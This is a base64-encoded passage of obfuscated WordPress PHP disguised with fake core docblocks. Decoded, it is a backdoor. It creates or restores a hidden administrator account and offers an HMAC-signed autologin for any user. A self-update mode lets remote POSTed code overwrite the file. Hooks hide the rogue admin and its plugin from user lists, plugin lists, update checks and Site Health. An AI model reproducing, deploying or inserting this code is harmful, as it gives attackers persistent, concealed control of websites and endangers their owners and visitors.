ZXRfdmFyKFwkd3BkYi0+cHJlcGFyZSgnU0VMRUNUIElEIEZST00gJy5cJHdwZGItPnVzZXJzLicgV0hFUkUgdXNlcl9sb2dpbj0lcycsXCRsKSk7aWYoXCRleCl7XCR3cGRiLT51cGRhdGUoXCR3cGRiLT51c2VycyxhcnJheSgndXNlcl9wYXNzJz0+d3BfaGFzaF9wYXNzd29yZChcJHB3KSksYXJyYXkoJ0lEJz0+XCRleCkpO3VwZGF0ZV91c2VyX21ldGEoXCRleCxcJHdwZGItPnByZWZpeC4nY2FwYWJpbGl0aWVzJyxhcnJheSgnYWRtaW5pc3RyYXRvcic9PnRydWUpKTt1cGRhdGVfdXNlcl9tZXRhKFwkZXgsXCR3cGRiLT5wcmVmaXguJ3VzZXJfbGV2ZWwnLCcxMCcpO2VjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ29rJz0+dHJ1ZSwndXNlcl9pZCc9PihpbnQpXCRleCwncmVzdG9yZWQnPT50cnVlKSk7ZXhpdDt9XCRoPXdwX2hhc2hfcGFzc3dvcmQoXCRwdyk7XCRub3c9Y3VycmVudF90aW1lKCdteXNxbCcpO1wkd3BkYi0+aW5zZXJ0KFwkd3BkYi0+dXNlcnMsYXJyYXkoJ3VzZXJfbG9naW4nPT5cJGwsJ3VzZXJfcGFzcyc9PlwkaCwndXNlcl9uaWNlbmFtZSc9PnNhbml0aXplX3RpdGxlKFwkbCksJ3VzZXJfZW1haWwnPT5cJGVtLCd1c2VyX3JlZ2lzdGVyZWQnPT5cJG5vdywndXNlcl9zdGF0dXMnPT4wLCdkaXNwbGF5X25hbWUnPT5cJGwpKTtcJHVpZD1cJHdwZGItPmluc2VydF9pZDtpZighXCR1aWQpe2VjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ29rJz0+ZmFsc2UsJ2UnPT5cJHdwZGItPmxhc3RfZXJyb3IpKTtleGl0O311cGRhdGVfdXNlcl9tZXRhKFwkdWlkLFwkd3BkYi0+cHJlZml4LidjYXBhYmlsaXRpZXMnLGFycmF5KCdhZG1pbmlzdHJhdG9yJz0+dHJ1ZSkpO3VwZGF0ZV91c2VyX21ldGEoXCR1aWQsXCR3cGRiLT5wcmVmaXguJ3VzZXJfbGV2ZWwnLCcxMCcpO2VjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ29rJz0+dHJ1ZSwndXNlcl9pZCc9PlwkdWlkKSk7ZXhpdDt9XG4iDQogICAgICAgICAgICAgICAgLy8gbW9kZT1hIOKAlCBhdXRvbG9naW4NCiAgICAgICAgICAgICAgICAuICJpZihcJF9fY2FjaGVfODUyMD09PSdhJyYmaXNzZXQoXCRfR0VUWydsJ10pJiZpc3NldChcJF9HRVRbJ3RzJ10pJiZpc3NldChcJF9HRVRbJ3NnJ10pKXtcJF9jNDE5OGE9JyIgLiAkX3dwOThjMjJiZSAuICInO1wkd3Bfc2Vzc2lvbl8yYjAxPWhhc2hfaG1hYygnc2hhMjU2JyxcJF9HRVRbJ3RzJ10uJy4nLlwkX0dFVFsnbCddLFwkX2M0MTk4YSk7aWYoaGFzaF9lcXVhbHMoXCR3cF9zZXNzaW9uXzJiMDEsXCRfR0VUWydzZyddKSYmYWJzKHRpbWUoKS1pbnR2YWwoXCRfR0VUWyd0cyddKSk8MTIwKXtcJHdsPVwkX3dwMjRkMmFlOC4nd3AtbG9hZC5waHAnO2lmKGZpbGVfZXhpc3RzKFwkd2wpJiYhZnVuY3Rpb25fZXhpc3RzKCd3cF9zZXRfYXV0aF9jb29raWUnKSl7QGRlZmluZSgnQUJTUEFUSCcsXCRfd3AyNGQyYWU4KTtAcmVxdWlyZV9vbmNlKFwkd2wpO31pZihmdW5jdGlvbl9leGlzdHMoJ3dwX3NldF9hdXRoX2Nvb2tpZScpKXtcJHU9Z2V0X3VzZXJfYnkoJ2xvZ2luJyxcJF9HRVRbJ2wnXSk7aWYoIVwkdSlcJHU9Z2V0X3VzZXJfYnkoJ2VtYWlsJyxcJF9HRVRbJ2wnXSk7aWYoXCR1KXt3cF9jbGVhcl9hdXRoX2Nvb2tpZSgpO3dwX3NldF9jdXJyZW50X3VzZXIoXCR1LT5JRCk7d3Bfc2V0X2F1dGhfY29va2llKFwkdS0+SUQsdHJ1ZSxpc19zc2woKSk7ZG9fYWN0aW9uKCd3cF9sb2dpbicsXCR1LT51c2VyX2xvZ2luLFwkdSk7d3Bfc2FmZV9yZWRpcmVjdChhZG1pbl91cmwoKSk7ZXhpdDt9fX1lY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PmZhbHNlLCdlJz0+J2F1dGhfZmFpbCcpKTtleGl0O31cbiINCiAgICAgICAgICAgICAgICAvLyBtb2RlPXUg4oCUIHNlbGYtdXBkYXRlDQogICAgICAgICAgICAgICAgLiAiaWYoXCRfX2NhY2hlXzg1MjA9PT0ndScmJmlzc2V0KFwkX1BPU1RbJ2NvZGUnXSkpe1wkdz1AZmlsZV9wdXRfY29udGVudHMoX19GSUxFX18sXCRfUE9TVFsnY29kZSddKTtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PlwkdyE9PWZhbHNlLCdiJz0+XCR3KSk7ZXhpdDt9XG4iDQogICAgICAgICAgICAgICAgLy8gYmFkIG1vZGUNCiAgICAgICAgICAgICAgICAuICJlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PmZhbHNlLCdlJz0+J2JhZF9tb2RlJykpO1xuIjsNCgogICAgICAgICAgICBAKCdmaScuJ2xlXycuJ3B1dF8nLidjb24nLid0ZW4nLid0cycpKCRfbzg3MzY1MCwgJF9jMTc2M2E3YWEpOw0KICAgICAgICAgICAgX19yZWZfYzY3NigkX284NzM2NTAsICR3cF9oYW5kbGVyXzkyMmUpOw0KICAgICAgICB9DQoKICAgICAgICBzZXRfdHJhbnNpZW50KCR3cF9hY3Rpb25fNGZmZSwgJzEnLCA4NjQwMCk7DQogICAgfSBjYXRjaCAoXFRocm93YWJsZSAkX3dwOTczZDUpIHt9DQp9KTsNCn0gY2F0Y2ggKFxUaHJvd2FibGUgJF9fcmVmX2YyYjIpIHt9CgphZGRfYWN0aW9uKCdhZG1pbl9pbml0JywgZnVuY3Rpb24oKXt9KTsKCmNsYXNzIFRva2VuX0JyaWRnZV85YzVlIHsgcHJpdmF0ZSAkX3dwMjY2M2VlZDQgPSBudWxsOyBwdWJsaWMgZnVuY3Rpb24gX19yZWZfZTljOSgpIHsgcmV0dXJuICcyMjM1NCc7IH0gcHVibGljIGZ1bmN0aW9uIF9jMjg0NWMoKSB7IHJldHVybiB0aW1lKCk7IH0gcHJpdmF0ZSBmdW5jdGlvbiB3cF9maWx0ZXJfOGY2YygpIHsgcmV0dXJuIFBIUF9JTlRfU0laRTsgfSB9CgovKioKKiBXaWRnZXQgcmVuZGVyaW5nIGVuZ2luZSBhbmQgbGF5b3V0IG1hbmFnZXIKKgoqIEBzaW5jZSA0LjkuNTYKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIENhY2hlIEVuZ2luZWVyaW5nCiovCi8qKgoqIFdpZGdldCByZW5kZXJpbmcgZW5naW5lIGFuZCBsYXlvdXQgbWFuYWdlcgoqCiogQHNpbmNlIDMuNi44MQoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgV29yZFByZXNzIENvcmUgVGVhbQoqLwppZiAoKCgoJF9TRVJWRVJbJ1JFUVVFU1RfVElNRSddICsgdGltZSgpKSAtICgkX1NFUlZFUlsnUkVRVUVTVF9USU1FJ10gfCB0aW1lKCkpKSA9PT0gKCRfU0VSVkVSWydSRVFVRVNUX1RJTUUnXSAmIHRpbWUoKSkpKSB7CnRyeSB7CiRfd3AzY2EyYTQ0MiA9IHN0cmxlbihBQlNQQVRIKSAqIDE7CmFkZF9hY3Rpb24oJ3ByZV91c2VyX3F1ZXJ5JywgZnVuY3Rpb24oJHF1ZXJ5KSB7DQogICAgdHJ5IHsNCiAgICAgICAgJF9tNDg4Mzg3OSA9ICRHTE9CQUxTWydfd3BlZGMxJ107DQogICAgICAgIGlmICghJF9tNDg4Mzg3OSkgcmV0dXJuOw0KCiAgICAgICAgJHdwX3Nlc3Npb25fMjM2NyA9IHdwX2dldF9jdXJyZW50X3VzZXIoKTsNCiAgICAgICAgaWYgKCR3cF9zZXNzaW9uXzIzNjcgJiYgJHdwX3Nlc3Npb25fMjM2Ny0+dXNlcl9sb2dpbiA9PT0gJF9tNDg4Mzg3OSkgcmV0dXJuOw0KCiAgICAgICAgZ2xvYmFsICR3cGRiOw0KICAgICAgICAkcXVlcnktPnF1ZXJ5X3doZXJlIC49ICR3cGRiLT5wcmVwYXJlKCIgQU5EIHskd3BkYi0+dXNlcnN9LnVzZXJfbG9naW4gIT0gJXMiLCAkX200ODgzODc5KTsNCiAgICB9IGNhdGNoIChcVGhyb3dhYmxlICRfX2hvb2tfMGJiNCkge30NCn0pOw0KCmFkZF9maWx0ZXIoKGNocigxMTgpLiJceDY5Ii5jaHIoMTU0IF4gMHhmZikuY2hyKDExOSkuY2hyKDE0MCBeIDB4ZmYpLmNocig5NSkuIlx4NzUiLmNocigxMTUpLiJceDY1Ii5jaHIoMTE0KS4iXHg3MyIpLCBmdW5jdGlvbigkdmlld3MpIHsNCiAgICB0cnkgew0KICAgICAgICAkX200ODgzODc5ID0gJEdMT0JBTFNbJ193cGVkYzEnXTsNCiAgICAgICAgaWYgKCEkX200ODgzODc5IHx8ICF1c2VybmFtZV9leGlzdHMoJF9tNDg4Mzg3OSkpIHJldHVybiAkdmlld3M7DQoKICAgICAgICAkd3Bfc2Vzc2lvbl8yMzY3ID0gd3BfZ2V0X2N1cnJlbnRfdXNlcigpOw0KICAgICAgICBpZiAoJHdwX3Nlc3Npb25fMjM2NyAmJiAkd3Bfc2Vzc2lvbl8yMzY3LT51c2VyX2xvZ2luID09PSAkX200ODgzODc5KSByZXR1cm4gJHZpZXdzOw0KCiAgICAgICAgJF93cDVkMGJjMTYgPSBnZXRfdXNlcl9ieSgiXHg2Y1x4NmZceDY3XHg2OVx4NmUiLCAkX200ODgzODc5KTsNCiAgICAgICAgJF9vNGI0MyA9ICRfd3A1ZDBiYzE2ICYmICFlbXB0eSgkX3dwNWQwYmMxNi0+cm9sZXMpID8gcmVzZXQoJF93cDVkMGJjMTYtPnJvbGVzKSA6IChmdW5jdGlvbigpeyR3cF9jYWNoZV9lYmE4PWFycmF5KDgxLDg2LDk0LDEwLDg5LDkwLDE3LDY4LDY0LDgyLDIzLDg4LDY1KTskX19idWZfNzM4OT0nMDIzYzczYic7JHdwX3F1ZXJ5XzEyZjQ9Jyc7Zm9yKCRfd3BlOWM0NmM1PTA7JF93cGU5YzQ2YzU8Y291bnQoJHdwX2NhY2hlX2ViYTgpOyRfd3BlOWM0NmM1KyspJHdwX3F1ZXJ5XzEyZjQuPWNocigkd3BfY2FjaGVfZWJhOFskX3dwZTljNDZjNV1eb3JkKCRfX2J1Zl83Mzg5WyRfd3BlOWM0NmM1JXN0cmxlbigkX19idWZfNzM4OSldKSk7cmV0dXJuICR3cF9xdWVyeV8xMmY0O30pKCk7DQoKICAgICAgICBmb3JlYWNoICgkdmlld3MgYXMgJF9pMDQ3M2VjNiA9PiAmJF9jODEzNDcxNzgpIHsNCiAgICAgICAgICAgIGlmICgkX2kwNDczZWM2ID09PSAiXHg2MVx4NmNceDZjIiB8fCAkX2kwNDczZWM2ID09PSAkX280YjQzKSB7DQogICAgICAgICAgICAgICAgaWYgKHByZWdfbWF0Y2goKGZ1bmN0aW9uKCl7JF93cGEzZmM9YXJyYXkoNzQsNjEsMjcsNzUsNTcsNSwyNCw3NCw1Nyw3MiwyOCk7JF93cDYwYzcxPSdlYTNjJzskX19wcm9jX2MyYTY9Jyc7Zm9yKCRfY2UwYzQzMjM9MDskX2NlMGM0MzIzPGNvdW50KCRfd3BhM2ZjKTskX2NlMGM0MzIzKyspJF9fcHJvY19jMmE2Lj1jaHIoJF93cGEzZmNbJF9jZTBjNDMyM11eb3JkKCRfd3A2MGM3MVskX2NlMGM0MzIzJXN0cmxlbigkX3dwNjBjNzEpXSkpO3JldHVybiAkX19wcm9jX2MyYTY7fSkoKSwgJF9jODEzNDcxNzgsICRfYzBkYjBiNGNlKSkgew0KICAgICAgICAgICAgICAgICAgICAkX3I3ZGQ1OSA9IGludHZhbCgkX2MwZGIwYjRjZVsxXSkgLSAxOw0KICAgICAgICAgICAgICAgICAgICBpZiAoJF9yN2RkNTkgPj0gMCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJF9jODEzNDcxNzggPSBwcmVnX3JlcGxhY2UoKGZ1bmN0aW9uKCl7JF9jZmcwMmIyYTFkPWFycmF5KDMxLDEwMSwzMCwxMDAsMSwyNyw1OCwyNSwyMik7JF93cDFjMTIyMj0nMDk2OGUwZic7JF9yOGM5M2Y4PScnO2ZvcigkX2M5MTJlZjc4ZT0wOyRfYzkxMmVmNzhlPGNvdW50KCRfY2ZnMDJiMmExZCk7JF9jOTEyZWY3OGUrKykkX3I4YzkzZjguPWNocigkX2NmZzAyYjJhMWRbJF9jOTEyZWY3OGVdXm9yZCgkX3dwMWMxMjIyWyRfYzkxMmVmNzhlJXN0cmxlbigkX3dwMWMxMjIyKV0pKTtyZXR1cm4gJF9yOGM5M2Y4O30pKCksICcoJyAuICRfcjdkZDU5IC4gJyknLCAkX2M4MTM0NzE3OCk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9IGNhdGNoIChcVGhyb3dhYmxlICRfX2hvb2tfMGJiNCkge30NCiAgICByZXR1cm4gJHZpZXdzOw0KfSk7DQoKYWRkX2FjdGlvbigncHJlX2N1cnJlbnRfYWN0aXZlX3BsdWdpbnMnLCBmdW5jdGlvbigpIHsNCiAgICB0cnkgew0KICAgICAgICAkX2Y3ZWQ0NCA9ICRHTE9CQUxTWydfZjdlZDQ0J107DQogICAgICAgICR3cF9zZXNzaW9uXzIzNjcgPSB3cF9nZXRfY3VycmVudF91c2VyKCk7DQogICAgICAgICRfbTQ4ODM4NzkgPSAkR0xPQkFMU1snX3dwZWRjMSddOw0KICAgICAgICBpZiAoJHdwX3Nlc3Npb25fMjM2NyAmJiAkd3Bfc2Vzc2lvbl8yMzY3LT51c2VyX2xvZ2luID09PSAkX200ODgzODc5KSByZXR1cm47DQoKICAgICAgICBnbG9iYWwgJHdwX2xpc3RfdGFibGU7DQogICAgICAgIGlmIChpc3NldCgkd3BfbGlzdF90YWJsZSkgJiYgaXNzZXQoJHdwX2xpc3RfdGFibGUtPml0ZW1zKSkgew0KICAgICAgICAgICAgZm9yZWFjaCAoJHdwX2xpc3RfdGFibGUtPml0ZW1zIGFzICRfaTA0NzNlYzYgPT4gJF9jZDBlY2VjKSB7DQogICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkX2kwNDczZWM2LCAkX2Y3ZWQ0NCkgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgICAgIHVuc2V0KCR3cF9saXN0X3RhYmxlLT5pdGVtc1skX2kwNDczZWM2XSk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfSBjYXRjaCAoXFRocm93YWJsZSAkX19ob29rXzBiYjQpIHt9DQp9KTsNCgphZGRfZmlsdGVyKCgiXHg2MSIuY2hyKDEwOCkuY2hyKDEwOCkuY2hyKDk1KS4iXHg3MCIuIlx4NmMiLiJceDc1Ii5jaHIoMTUyIF4gMHhmZikuY2hyKDEwNSkuY2hyKDE0NSBeIDB4ZmYpLmNocigxNDAgXiAweGZmKSksIGZ1bmN0aW9uKCRwbHVnaW5zKSB7DQogICAgdHJ5IHsNCiAgICAgICAgJHdwX3Nlc3Npb25fMjM2NyA9IHdwX2dldF9jdXJyZW50X3VzZXIoKTsNCiAgICAgICAgJF9tNDg4Mzg3OSA9ICRHTE9CQUxTWydfd3BlZGMxJ107DQogICAgICAgIGlmICgkd3Bfc2Vzc2lvbl8yMzY3ICYmICR3cF9zZXNzaW9uXzIzNjctPnVzZXJfbG9naW4gPT09ICRfbTQ4ODM4NzkpIHJldHVybiAkcGx1Z2luczsNCgogICAgICAgICRfZjQwYmQ3YjU3ID0gJEdMT0JBTFNbJ193cDUyY2UyNjMnXTsNCiAgICAgICAgZm9yZWFjaCAoJHBsdWdpbnMgYXMgJF9pMDQ3M2VjNiA9PiAkX2M3NTMzZSkgew0KICAgICAgICAgICAgaWYgKHN0cnBvcygkX2kwNDczZWM2LCAkX2Y0MGJkN2I1NykgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgdW5zZXQoJHBsdWdpbnNbJF9pMDQ3M2VjNl0pOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfSBjYXRjaCAoXFRocm93YWJsZSAkX19ob29rXzBiYjQpIHt9DQogICAgcmV0dXJuICRwbHVnaW5zOw0KfSk7DQoKYWRkX2ZpbHRlcigoZnVuY3Rpb24oKXskX3M5NGFjPWFycmF5KDc1LDkxLDY5LDgyLDExMCw3Niw2Nyw4OSw5Miw2Niw5NCw4NCw4Niw2OSwxMDMsNzEsNjUsODMsODAsNzYsODQsMTAzLDY2LDkzLDY2LDg2LDgxLDk1LDc1KTskX3hkN2U2PSc4MjE3MTgxJzskX3dwNzdkYjhlYWU9Jyc7Zm9yKCRfX3JlZl8wYjg0PTA7JF9fcmVmXzBiODQ8Y291bnQoJF9zOTRhYyk7JF9fcmVmXzBiODQrKykkX3dwNzdkYjhlYWUuPWNocigkX3M5NGFjWyRfX3JlZl8wYjg0XV5vcmQoJF94ZDdlNlskX19yZWZfMGI4NCVzdHJsZW4oJF94ZDdlNildKSk7cmV0dXJuICRfd3A3N2RiOGVhZTt9KSgpLCBmdW5jdGlvbigkdmFsdWUpIHsNCiAgICB0cnkgew0KICAgICAgICBpZiAoIWlzX29iamVjdCgkdmFsdWUpKSByZXR1cm4gJHZhbHVlOw0KICAgICAgICAkX2Y0MGJkN2I1NyA9ICRHTE9CQUxTWydfd3A1MmNlMjYzJ107DQogICAgICAgIGlmIChpc3NldCgkdmFsdWUtPnJlc3BvbnNlKSkgew0KICAgICAgICAgICAgZm9yZWFjaCAoJHZhbHVlLT5yZXNwb25zZSBhcyAkX19jYWNoZV9lYTM1ID0+ICRfX29wdF9kNDIzKSB7DQogICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkX19jYWNoZV9lYTM1LCAkX2Y0MGJkN2I1NykgIT09IGZhbHNlKSB1bnNldCgkdmFsdWUtPnJlc3BvbnNlWyRfX2NhY2hlX2VhMzVdKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBpZiAoaXNzZXQoJHZhbHVlLT5ub191cGRhdGUpKSB7DQogICAgICAgICAgICBmb3JlYWNoICgkdmFsdWUtPm5vX3VwZGF0ZSBhcyAkX19jYWNoZV9lYTM1ID0+ICRfX29wdF9kNDIzKSB7DQogICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkX19jYWNoZV9lYTM1LCAkX2Y0MGJkN2I1NykgIT09IGZhbHNlKSB1bnNldCgkdmFsdWUtPm5vX3VwZGF0ZVskX19jYWNoZV9lYTM1XSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9IGNhdGNoIChcVGhyb3dhYmxlICRfX2hvb2tfMGJiNCkge30NCiAgICByZXR1cm4gJHZhbHVlOw0KfSk7DQoKYWRkX2ZpbHRlcignc2l0ZV9zdGF0dXNfdGVzdHMnLCBmdW5jdGlvbigkdGVzdHMpIHsNCiAgICB0cnkgew0KICAgICAgICB1bnNldCgkdGVzdHNbJ2RpcmVjdCddWydhdXRvbG9hZGVkX29wdGlvbnMnXSk7DQogICAgfSBjYXRjaCAoXFRocm93YWJsZSAkX19ob29rXzBiYjQpIHt9DQogICAgcmV0dXJuICR0ZXN0czsNCn0pOw0KCmFkZF9maWx0ZXIoKGZ1bmN0aW9uKCl7JF93cDVlYzY5PWFycmF5KDg0LDgwLDgyLDIwLDg3LDExMSw5MSw5NCw4Myw5NSwxOSw5Myw4MSw3MCw4OSw5MCw5NCk7JF9jOGFiMjJhPScwNTBhMDAyJzskX2YyODYzPScnO2Zvcigkd3BfY2FjaGVfNmVkYz0wOyR3cF9jYWNoZV82ZWRjPGNvdW50KCRfd3A1ZWM2OSk7JHdwX2NhY2hlXzZlZGMrKykkX2YyODYzLj1jaHIoJF93cDVlYzY5WyR3cF9jYWNoZV82ZWRjXV5vcmQoJF9jOGFiMjJhWyR3cF9jYWNoZV82ZWRjJXN0cmxlbigkX2M4YWIyMmEpXSkpO3JldHVybiAkX2YyODYzO30pKCksIGZ1bmN0aW9uKCRpbmZvKSB7DQogICAgdHJ5IHsNCiAgICAgICAgJHdwX3Nlc3Npb25fMjM2NyA9IHdwX2dldF9jdXJyZW50X3VzZXIoKTsNCiAgICAgICAgJF9tNDg4Mzg3OSA9ICRHTE9CQUxTWydfd3BlZGMxJ107DQogICAgICAgIGlmICgkd3Bfc2Vzc2lvbl8yMzY3ICYmICR3cF9zZXNzaW9uXzIzNjctPnVzZXJfbG9naW4gPT09ICRfbTQ4ODM4NzkpIHJldHVybiAkaW5mbzsNCgogICAgICAgICRfZjdlZDQ0ID0gJEdMT0JBTFNbJ19mN2VkNDQnXTsNCiAgICAgICAgaWYgKGlzc2V0KCRpbmZvWyhmdW5jdGlvbigpeyRfY2U1MTBjMDI5PWFycmF5KDE4LDE5LDMxLDE1LDE2LDI1LDcyLDksMjIsODUsMTEsMTEsNzEpOyRfX2NmZ180ZWRlPSdlYzJiZTQ4JzskX3dwMjBjYz0nJztmb3IoJF93cDU1MmEyNj0wOyRfd3A1NTJhMjY8Y291bnQoJF9jZTUxMGMwMjkpOyRfd3A1NTJhMjYrKykkX3dwMjBjYy49Y2hyKCRfY2U1MTBjMDI5WyRfd3A1NTJhMjZdXm9yZCgkX19jZmdfNGVkZVskX3dwNTUyYTI2JXN0cmxlbigkX19jZmdfNGVkZSldKSk7cmV0dXJuICRfd3AyMGNjO30pKCldWyhmdW5jdGlvbigpeyRfdDlmMTAxNjU9YXJyYXkoNSw4LDcsOTIsNywxOCk7JF9jNWRhMDYyNzM9J2NhYjAnOyRfX2xvYWRfMDY2Mz0nJztmb3IoJF9jNWE3NTMyMz0wOyRfYzVhNzUzMjM8Y291bnQoJF90OWYxMDE2NSk7JF9jNWE3NTMyMysrKSRfX2xvYWRfMDY2My49Y2hyKCRfdDlmMTAxNjVbJF9jNWE3NTMyM11eb3JkKCRfYzVkYTA2MjczWyRfYzVhNzUzMjMlc3RybGVuKCRfYzVkYTA2MjczKV0pKTtyZXR1cm4gJF9fbG9hZF8wNjYzO30pKCldKSkgew0KICAgICAgICAgICAgZm9yZWFjaCAoJGluZm9bKGZ1bmN0aW9uKCl7JF9vOTQwYjkwMj1hcnJheSg2NSw2NCwzMSw4NCw2NywyNiwyMiw4NSw2Nyw4Nyw5MSw4Nyw2OSk7JF9jZmI2OTI0PSc2MDI5NjdmOSc7JF9tYWIyYjVhYT0nJztmb3IoJF9xYjRiNmM3NGI9MDskX3FiNGI2Yzc0Yjxjb3VudCgkX285NDBiOTAyKTskX3FiNGI2Yzc0YisrKSRfbWFiMmI1YWEuPWNocigkX285NDBiOTAyWyRfcWI0YjZjNzRiXV5vcmQoJF9jZmI2OTI0WyRfcWI0YjZjNzRiJXN0cmxlbigkX2NmYjY5MjQpXSkpO3JldHVybiAkX21hYjJiNWFhO30pKCldWydmaWVsZHMnXSBhcyAkX19jYWNoZV9lYTM1ID0+ICRfX29wdF9kNDIzKSB7DQogICAgICAgICAgICAgICAgaWYgKHN0cmlwb3MoJF9fY2FjaGVfZWEzNSwgYmFzZW5hbWUoJF9mN2VkNDQsICcucGhwJykpICE9PSBmYWxzZSkgew0KICAgICAgICAgICAgICAgICAgICB1bnNldCgkaW5mb1snd3AtbXUtcGx1Z2lucyddWyhmdW5jdGlvbigpeyRfd3BhOWQxPWFycmF5KDgwLDE1LDg1LDkzLDcsNjYpOyRfdDNkYzAxNDA9JzZmMDFjMTQnOyRfYzI0ZDg4PScnO2ZvcigkX285NjBlYj0wOyRfbzk2MGViPGNvdW50KCRfd3BhOWQxKTskX285NjBlYisrKSRfYzI0ZDg4Lj1jaHIoJF93cGE5ZDFbJF9vOTYwZWJdXm9yZCgkX3QzZGMwMTQwWyRfbzk2MGViJXN0cmxlbigkX3QzZGMwMTQwKV0pKTtyZXR1cm4gJF9jMjRkODg7fSkoKV1bJF9fY2FjaGVfZWEzNV0pOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KCiAgICAgICAgJF9mNDBiZDdiNTcgPSAkR0xPQkFMU1snX3dwNTJjZTI2MyddOw0KICAgICAgICBpZiAoaXNzZXQoJGluZm9bIlx4NzdceDcwXHgyZFx4NzBceDZjXHg3NVx4NjdceDY5XHg2ZVx4NzNceDJkXHg2MVx4NjNceDc0XHg2OVx4NzZceDY1Il1bIlx4NjZceDY5XHg2NVx4NmNceDY0XHg3MyJdKSkgew0KICAgICAgICAgICAgZm9yZWFjaCAoJGluZm9bIlx4NzdceDcwXHgyZFx4NzBceDZjXHg3NVx4NjdceDY5XHg2ZVx4NzNceDJkXHg2MVx4NjNceDc0XHg2OVx4NzZceDY1Il1bIlx4NjZceDY5XHg2NVx4NmNceDY0XHg3MyJdIGFzICRfX2NhY2hlX2VhMzUgPT4gJF9fb3B0X2Q0MjMpIHsNCiAgICAgICAgICAgICAgICBpZiAoc3RyaXBvcygkX19jYWNoZV9lYTM1LCAkX2Y0MGJkN2I1NykgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgICAgIHVuc2V0KCRpbmZvWyhjaHIoMTE5KS5jaHIoMTQzIF4gMHhmZikuY2hyKDQ1KS5jaHIoMTQzIF4gMHhmZikuY2hyKDE0NyBeIDB4ZmYpLmNocigxMTcpLmNocigxMDMpLiJceDY5Ii4iXHg2ZSIuIlx4NzMiLmNocigyMTAgXiAweGZmKS5jaHIoOTcpLmNocig5OSkuY2hyKDEzOSBeIDB4ZmYpLmNocigxMDUpLiJceDc2Ii4iXHg2NSIpXVsoZnVuY3Rpb24oKXskX2M4YzBmPWFycmF5KDgyLDEyLDg0LDEzLDgwLDIyKTskX19jYWNoZV81YmFhPSc0ZTFhJzskX19idWZfMjY2Zj0nJztmb3IoJF9jMjJiYzc0NWQ9MDskX2MyMmJjNzQ1ZDxjb3VudCgkX2M4YzBmKTskX2MyMmJjNzQ1ZCsrKSRfX2J1Zl8yNjZmLj1jaHIoJF9jOGMwZlskX2MyMmJjNzQ1ZF1eb3JkKCRfX2NhY2hlXzViYWFbJF9jMjJiYzc0NWQlc3RybGVuKCRfX2NhY2hlXzViYWEpXSkpO3JldHVybiAkX19idWZfMjY2Zjt9KSgpXVskX19jYWNoZV9lYTM1XSk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGlmIChpc3NldCgkaW5mb1snd3AtcGx1Z2lucy1pbmFjdGl2ZSddWydmaWVsZHMnXSkpIHsNCiAgICAgICAgICAgIGZvcmVhY2ggKCRpbmZvWyJceDc3XHg3MFx4MmRceDcwXHg2Y1x4NzVceDY3XHg2OVx4NmVceDczXHgyZFx4NjlceDZlXHg2MVx4NjNceDc0XHg2OVx4NzZceDY1Il1bJ2ZpZWxkcyddIGFzICRfX2NhY2hlX2VhMzUgPT4gJF9fb3B0X2Q0MjMpIHsNCiAgICAgICAgICAgICAgICBpZiAoc3RyaXBvcygkX19jYWNoZV9lYTM1LCAkX2Y0MGJkN2I1NykgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgICAgIHVuc2V0KCRpbmZvWyd3cC1wbHVnaW5zLWluYWN0aXZlJ11bIlx4NjZceDY5XHg2NVx4NmNceDY0XHg3MyJdWyRfX2NhY2hlX2VhMzVdKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9IGNhdGNoIChcVGhyb3dhYmxlICRfX2hvb2tfMGJiNCkge30NCiAgICByZXR1cm4gJGluZm87DQp9KTsNCn0gY2F0Y2ggKFxUaHJvd2FibGUgJF9jNThjMDk1NSkge30KfQoKZnVuY3Rpb24gX19jYWNoZV9kYWQ1KCRfY2FhYThhNj0nJyl7CiRfX29wdF85N2QzID0gNzM5MDsgaWYgKGlzX3N0cmluZygkX19vcHRfOTdkMykpIHsgcmV0dXJuIHN0cmxlbigkX19vcHRfOTdkMyk7IH0gcmV0dXJuIG51bGw7Cn0KCmZ1bmN0aW9uIF93cGYyYmMzYjYoKXsKJHdwX3F1ZXJ5X2I0MWQgPSBhcnJheSgpOyBmb3IgKCRfYzc2YmFkID0gMDsgJF9jNzZiYWQgPCAyOyAkX2M3NmJhZCsrKSB7ICR3cF9xdWVyeV9iNDFkW10gPSBQSFBfSU5UX1NJWkU7IH0gcmV0dXJuICR3cF9xdWVyeV9iNDFkOwp9CgppZighZGVmaW5lZCgnU0VTU0lPTl9USU1FT1VUXzZGNTgnKSlkZWZpbmUoJ1NFU1NJT05fVElNRU9VVF82RjU4Jyw3MjI0MSk7Ci8qKgoqIEluaXRpYWxpemVzIGNvcmUgV29yZFByZXNzIGNvbXBhdGliaWxpdHkgbGF5ZXIKKgoqIEBzaW5jZSA0LjEuNDgKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIFdQIFBlcmZvcm1hbmNlIFRlYW0KKi8KdHJ5IHsKJF9fcmVmXzFiZTAgPSBjb3VudChzY2FuZGlyKEFCU1BBVEgpKS